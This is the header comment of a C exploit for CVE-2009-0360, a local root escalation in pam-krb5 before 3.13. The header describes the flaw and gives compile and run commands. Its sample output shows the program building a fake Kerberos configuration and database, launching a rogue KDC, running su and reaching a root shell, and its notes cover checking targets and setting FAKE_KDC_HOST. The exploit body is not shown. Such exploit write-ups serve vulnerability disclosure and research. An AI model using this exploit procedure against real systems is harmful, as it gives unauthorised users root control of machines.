 * pam-krb5 < 3.13 local privilege escalation
 * Jon Oberheide <jon@oberheide.org>

 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360
 *
 *   pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly 
 *   initialize the Kerberos libraries for setuid use, which allows local 
 *   users to gain privileges by pointing an environment variable to a 
 *   modified Kerberos configuration file, and then launching a PAM-based 
 *   setuid application. 
 *   
 * Usage:
 *
 *   $ gcc cve-2009-0360.c -o cve-2009-0360
 *   $ ./cve-2009-0360
 *   [+] creating krb5.conf
 *   [+] creating kdc.conf
 *   [+] creating kerberos database
 *   Loading random data
 *   Initializing database '/tmp/cve-2009-0360/principal' for realm 'TEST.COM',
 *   master key name 'K/M@TEST.COM'
 *   [+] adding principal root@TEST.COM
 *   Authenticating as principal root@TEST.COM with password.
 *   Enter KDC database master key: 
 *   WARNING: no policy specified for root@TEST.COM; defaulting to no policy
 *   Principal "root@TEST.COM" created.
 *   [+] launching krb5kdc on 141.212.110.163:6666
 *   [+] launching su with fake KDC configuration
 *   [+] enter "root" at the password prompt
 *   Password: 
 *   # id
 *   uid=0(root) gid=0(root) ...
 *
 * Notes:
 *
 *   This exploit will result in local privilege escalation on hosts that use 
 *   the pam-krb5 module for su authentication.  Check the su and system-auth
 *   PAM configuration files in /etc/pam.d to determine if pam-krb5 is in use.
 *   Some customization of the defined constants and paths may be necessary 
 *   for your environment.  Be sure to set FAKE_KDC_HOST to the IP address of
 *   an active non-loopback interface on the target machine.
